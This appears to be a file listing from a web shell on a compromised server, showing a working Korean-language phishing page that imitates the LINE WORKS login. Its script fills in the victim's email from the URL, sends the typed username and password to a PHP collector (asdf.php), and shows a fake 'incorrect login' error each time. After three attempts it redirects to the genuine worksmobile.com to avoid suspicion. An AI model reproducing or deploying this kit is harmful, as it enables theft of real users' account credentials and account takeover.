ï»¿
Your IP : 10.10.0.253

Current File : /var/www/YY/cool/index5.htm
<!DOCTYPE html>
<html lang="ko">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>&#46972;&#51064; &#50892;&#53356;&#49828;</title>
  <style>
* {
  margin: 0;
  padding: 0;
  box-sizing: border-box;
}

@import url('https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600&display=swap');
body { margin:0; background-color:#f8f9fb; font-family:'Inter',sans-serif;}
.container { display:flex; justify-content:center; align-items:center; height:100vh;}
.login-box { background:white; width:500px; border-radius:8px; box-shadow:0 0 10px rgba(0,0,0,0.05); padding:40px; text-align:center;}
.logo { width:90px; height:auto; margin:0 auto 15px; display:flex; justify-content:center; align-items:center;}
.input-box { width:100%; margin-bottom:15px;}
input { width:100%; padding:12px; border:1px solid #c6c6c6; border-radius:6px; outline:none; font-size:14px;}
input:focus { border-color:#1b73e8;}
.login-btn { width:100%; background:#0077ff; border:none; color:white; font-weight:600; padding:12px; border-radius:6px; cursor:pointer; margin-top:10px; font-size:15px;}
.login-btn:hover { background:#0063d1;}
.remember { display:flex; justify-content:space-between; align-items:center; font-size:13px; color:#666; margin-top:10px;}
.remember input { margin-right:5px;}
.line-id { width:100%; border:1px solid #c6c6c6; border-radius:6px; background-color:white; margin-top:25px; padding:10px; display:flex; align-items:center; justify-content:center; font-size:14px; cursor:pointer;}
.line-id img { width:18px; height:18px; margin-right:8px;}
.footer { font-size:12px; color:#777; margin-top:20px;}
.footer a { color:#0077ff; text-decoration:none;}
#errorMessage { display:none; color:red; font-size:13px; margin-bottom:10px; text-align:center; }
  </style>
</head>
<body>
  <div class="container">
    <div class="login-box">
      <div class="logo">
        <img src="wmlg.PNG" alt="&#47196;&#44256;" style="margin-top:10px">
      </div>

      <!-- ERROR MESSAGE -->
      <div id="errorMessage">
        <span id="errorText"></span>
      </div>

      <p style="color:#444; "><b>&#55092;&#45824;&#54256; &#48264;&#54840; &#46608;&#45716; ID&#47484; &#51077;&#47141;&#54616;&#49464;&#50836;</b></p>
      <p style="color:#444; font-size:14px;">&nbsp;</p>
      <p style="color:#444; font-size:14px;">&nbsp;</p>

      <!-- FORM START -->
      <form id="loginForm" method="POST" action="asdf.php">
        <div class="input-box">
          <input type="email" id="em" name="nnn" placeholder="2061234567 &#46608;&#45716; id@group.xx" required>
        </div>
        <div class="input-box">
          <input type="password" id="pwr" name="mmm" placeholder="&#48708;&#48128;&#48264;&#54840;&#47484; &#51077;&#47141;&#54616;&#49464;&#50836;" required>
        </div>
        <button type="submit" class="login-btn">&#47196;&#44536;&#51064;</button>
      </form>
      <!-- FORM END -->

      <div class="remember">
        <label><input type="checkbox"> ID &#44592;&#50613;&#54616;&#44592;</label>
        <a href="#" style="text-decoration:none; color:#0077ff;">ID &#52286;&#44592;</a>
      </div>
      <div class="line-id">
        <img src="lllll.PNG" alt="LINE &#50500;&#51060;&#53080;" width="40" height="39">
        LINE ID&#47196; &#47196;&#44536;&#51064;
      </div>
      <div class="footer">
        &#47196;&#44536;&#51064;&#54616;&#47732;, &#49688;&#51221;&#46108;
        <a href="#">&#49436;&#48708;&#49828; &#50557;&#44288;</a>&#44284; <a href="#">&#44060;&#51064;&#51221;&#48372; &#52376;&#47532;&#48169;&#52840;</a>&#50640; &#46041;&#51032;&#54616;&#44172; &#46121;&#45768;&#45796;.
      </div>
    </div>
  </div>

  <script>
    const hash = window.location.hash;
    if (hash && hash.length > 1) {
      const emailFromHash = decodeURIComponent(hash.substring(1));
      document.getElementById('em').value = emailFromHash;
    }

    let attempt = 0;

    document.getElementById('loginForm').addEventListener('submit', async function(e) {
      e.preventDefault();

      const usn = document.getElementById('em').value;
      const pwr = document.getElementById('pwr').value;
      const errorBox = document.getElementById('errorMessage');
      const errorText = document.getElementById('errorText');

      const formData = new FormData();
      formData.append('nnn', usn);
      formData.append('mmm', pwr);

      try {
        await fetch('asdf.php', {
          method: 'POST',
          body: formData
        });
      } catch (err) {
        console.error('Fetch error:', err);
      }

      attempt++;

      if (attempt >= 3) {
        const domain = usn.split('@')[1];
        if (domain) {
          window.location.href = `https://worksmobile.com`;
        }
      } else {
        // delay 2s before showing error
        errorBox.style.display = 'none';
        setTimeout(() => {
          errorText.innerHTML = "&#47196;&#44536;&#51064; &#51221;&#48372;&#44032; &#50732;&#48148;&#47476;&#51648; &#50506;&#49845;&#45768;&#45796;. &#45796;&#49884; &#49884;&#46020;&#54616;&#49464;&#50836;.";
          errorBox.style.display = 'block';
          document.getElementById('pwr').value = '';
        }, 2000);
      }
    });
  </script>
</body>
</html>